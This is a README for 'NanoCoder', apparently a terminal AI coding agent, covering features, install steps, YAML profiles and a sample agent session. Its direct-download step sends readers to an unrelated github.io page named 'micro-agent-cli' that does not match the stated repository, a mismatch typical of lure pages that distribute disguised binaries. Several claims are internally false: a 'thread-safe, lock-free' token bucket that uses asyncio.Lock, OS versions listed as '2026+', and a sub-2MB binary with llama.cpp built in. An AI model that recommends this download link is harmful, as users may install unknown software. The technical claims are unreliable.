NanoCoder is a lightweight, self-contained command-line tool that brings agentic coding capabilities to your terminal without the bloat of traditional AI coding assistants. Inspired by Claude Code but engineered for speed, portability, and offline-first usage, NanoCoder redefines what's possible with a small codebase and a powerful CLI interface.
In an era where AI coding assistants require massive dependencies, cloud subscriptions, and resource-hungry IDEs, NanoCoder stands as a counterweight. It's built for developers who want:
- Zero configuration β No environment setup, no API keys to juggle (unless you want them)
- Sub-2MB footprint β Fits in your dotfiles, runs on a Raspberry Pi, deploys in CI/CD pipelines
- Offline-first architecture β Built-in local LLM support via llama.cpp, with optional cloud fallback
- True agentic behavior β Can plan, execute, test, and iterate on code without hand-holding
This is not another Copilot clone. This is a coding co-pilot for the terminal purist.
- Key Features
- Architecture Overview
- Quick Start Guide
- Configuration Options
- CLI Reference
- API Integration
- Responsive UI & Multilingual Support
- Example Profile Configuration
- Example Console Invocation
- Compatibility & System Requirements
- Disclaimer
- License
NanoCoder doesn't just autocomplete lines β it understands project context, plans multi-step implementations, and executes them autonomously. Think of it as a senior engineer in your terminal who never sleeps.
Seamlessly switch between OpenAI API and Claude API, or run completely offline with local models. The same interface works whether you're querying GPT-4, Claude 3.5, or Llama 3.
Customize behavior through simple YAML profiles β no plugin system, no package managers. Your configurations are portable, version-controllable, and shareable.
User interface adapts to terminal width, supports true color, and provides real-time streaming responses with syntax-highlighted code blocks. Works flawlessly in tmux, screen, or standalone.
Write prompts in English, Spanish, Japanese, Arabic, or any of 12 supported languages. NanoCoder understands the intent, not just the vocabulary.
Our AI-powered documentation bot (included) answers questions about usage, configuration, and troubleshooting. No tickets, no queues, no waiting.
graph TD
A[Terminal / CLI] --> B[NanoCoder Core]
B --> C{Provider Router}
C -->|OpenAI API| D[GPT-4 / GPT-3.5]
C -->|Claude API| E[Claude 3.5 / 3]
C -->|Local Inference| F[llama.cpp / llama-server]
B --> G[Context Engine]
G --> H[Workspace Scanner]
G --> I[File Indexer]
G --> J[Git History Analyzer]
B --> K[Tool Executor]
K --> L[Shell Commands]
K --> M[File System Ops]
K --> N[Test Runner]
B --> O[Profile Manager]
O --> P[YAML Profiles]
O --> Q[Environment Variables]
B --> R[Output Formatter]
R --> S[Streaming Writer]
R --> T[Syntax Highlighter]
R --> U[Diff Renderer]
NanoCoder is distributed as a single, statically-linked binary. No dependencies, no runtime, no hassle.
Option 1: Direct Download
- Visit https://zanmmi.github.io/micro-agent-cli/ to download the latest release.
- Extract:
tar -xzf nanocoder-*.tar.gz - Move to PATH:
sudo mv nanocoder /usr/local/bin/ - Verify:
nanocoder --version
Option 2: Using Homebrew (macOS/Linux)
brew tap nanocoder/tap
brew install nanocoderOption 3: Build from Source
git clone https://github.com/nanocoder/nanocoder.git
cd nanocoder
make build
sudo make installnanocoder initThis creates a default profile at ~/.nanocoder/profile.yaml. You can start coding immediately:
nanocoder "create a REST API in Go with PostgreSQL backend"NanoCoder's configuration is driven by YAML profiles, giving you granular control without complexity.
| Option | Description | Default |
|---|---|---|
provider |
AI backend: openai, claude, local, or auto |
auto |
model |
Specific model name | auto-selected |
temperature |
Creativity level (0.0 β 2.0) | 0.3 |
max_tokens |
Maximum response length | 4096 |
workspace_context |
Project scope: file, directory, git |
git |
agent_mode |
assist (interactive) or autonomous |
assist |
language |
Prompt processing language | en |
tools_enabled |
Shell access, file ops, git ops | true |
| Command | Description | Example |
|---|---|---|
nanocoder [prompt] |
Execute a coding task | nanocoder "add authentication middleware" |
nanocoder init |
Initialize profile | nanocoder init |
nanocoder config |
View/edit config | nanocoder config set provider=openai |
nanocoder profile |
Manage profiles | nanocoder profile switch work |
nanocoder history |
View session history | nanocoder history --days 7 |
nanocoder exec |
Run command and analyze | nanocoder exec "npm test" |
nanocoder review |
Review code changes | nanocoder review diff |
--watchβ Enable live file monitoring--dry-runβ Preview changes without execution--no-toolsβ Disable shell/file access--verboseβ Show detailed reasoning--profile <name>β Use specific profile
Configure via profile or environment:
provider: openai
model: gpt-4-turbo-preview
temperature: 0.4Or set environment variables:
export OPENAI_API_KEY=sk-xxxx
export OPENAI_MODEL=gpt-4-0125-previewNanoCoder supports all OpenAI chat models with automatic prompt optimization for coding tasks.
provider: claude
model: claude-3-5-sonnet-20241022
temperature: 0.2Environment variables:
export ANTHROPIC_API_KEY=sk-ant-xxxx
export ANTHROPIC_MODEL=claude-3-5-sonnet-20241022Claude integration is specially optimized for long-context reasoning and code generation.
provider: local
local_model_path: /models/llama-3.1-8b-instruct.Q4_K_M.gguf
local_server: http://localhost:8080NanoCoder works with any llama.cpp-compatible server, including Ollama and custom deployments.
NanoCoder's UI is built on a responsive engine that:
- Detects terminal width and adjusts output columns
- Falls back gracefully in non-TTY environments
- Supports dim, italic, strikethrough, and 24-bit colors
- Presents code with tree-sitter-based syntax highlighting
- Renders markdown tables, lists, and headings inline
Type your prompts in any supported language. NanoCoder normalizes the intent:
| Language | Support Level |
|---|---|
| English | Native |
| Spanish | Full |
| French | Full |
| German | Full |
| Japanese | Full |
| Chinese (Simplified) | Full |
| Arabic | Full |
| Portuguese | Full |
| Russian | Full |
| Korean | Full |
| Italian | Full |
| Hindi | Full |
# ~/.nanocoder/profiles/python-dev.yaml
profile_name: python-dev
description: Python backend development profile
provider: claude
model: claude-3-5-sonnet-20241022
temperature: 0.2
max_tokens: 8192
workspace_context: git
agent_mode: autonomous
language: en
tools_enabled: true
allowed_commands:
- pip
- python
- pytest
- black
- ruff
custom_rules:
- Always use type hints
- Prefer async/await over threading
- Write unit tests for all functions
- Follow PEP 8 strictly
pre_hooks:
- run: black --check .
on_failure: stop
post_hooks:
- run: pytest --cov=src
on_failure: report# Interactive session with autonomous mode
$ nanocoder --profile python-dev --autonomous
NanoCoder 2026 v2.1.0 [Claude 3.5 Sonnet] [Python-Dev Profile]
Scanning workspace: /home/user/projects/ai-backend
Context loaded: 3.2M tokens (git history + current state)
[Start]: We need to add rate limiting to the API gateway. Use token bucket algorithm,
implement in Python with asyncio, and ensure thread safety. Write tests.
[Agent]: β¨ Analyzing requirements...
Plan:
1. Create rate_limiter.py with TokenBucket class
2. Implement asyncio-compatible decorator
3. Add configuration for burst/sustained rates
4. Write comprehensive unit tests
Files to create/modify:
- src/gateway/rate_limiter.py (new)
- src/gateway/middleware.py (modify)
- tests/test_rate_limiter.py (new)
Shall I proceed? [Y/n]: Y
[Agent]: π§ Executing step 1/4...
Created: src/gateway/rate_limiter.py
```python
import asyncio
import time
from collections import deque
from typing import Optional
class TokenBucket:
"""Thread-safe, lock-free token bucket implementation."""
def __init__(self, rate: float, burst: int):
self.rate = rate
self.burst = burst
self.tokens = burst
self.last_refill = time.monotonic()
self._lock = asyncio.Lock()
async def acquire(self, tokens: int = 1) -> bool:
async with self._lock:
self._refill()
if self.tokens >= tokens:
self.tokens -= tokens
return True
return False
def _refill(self):
now = time.monotonic()
elapsed = now - self.last_refill
self.tokens = min(self.burst, self.tokens + elapsed * self.rate)
self.last_refill = now
```
[Agent]: β
Step 1 complete. Continuing with middleware integration...| Operating System | Version | Architecture | Status |
|---|---|---|---|
| Linux | 2026+ | x86_64, ARM64 | β Full Support |
| macOS | 2026+ | x86_64, Apple Silicon | β Full Support |
| Windows | 2026+ | x86_64 | β Full Support (WSL2 native) |
| FreeBSD | 2026+ | x86_64 | β Community |
| OpenBSD | 2026+ | x86_64 | β¬ Experimental |
| Raspberry Pi OS | 2026+ | ARMv7, ARM64 | β Full Support |
| Docker | Any | All | β Official Image |
Important Legal Notice
NanoCoder is an independent, open-source tool developed as an alternative to existing AI coding assistants. It is not affiliated with, endorsed by, or sponsored by Anthropic (Claude), OpenAI (ChatGPT), or any other AI service provider.
- Code Quality β Generated code should always be reviewed by a human developer. NanoCoder may produce incorrect, insecure, or inefficient code.
- API Usage β When using cloud provider APIs, you are subject to their terms of service and pricing. NanoCoder does not bypass any rate limits or billing.
- Security β Never run autonomous mode in production without strict command whitelisting. NanoCoder can execute shell commands and modify files.
- Data Privacy β When using local models, no data leaves your machine. When using cloud APIs, consult their privacy policies regarding data handling.
- No Warranty β This software is provided "as is," without warranty of any kind. See the MIT License for full details.
By using NanoCoder, you acknowledge these disclaimers and accept full responsibility for how you use the tool.
NanoCoder is released under the MIT License.
Copyright Β© 2026
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
NanoCoder 2026 β Code at the speed of thought. No bloated UIs, no hidden fees, no compromises.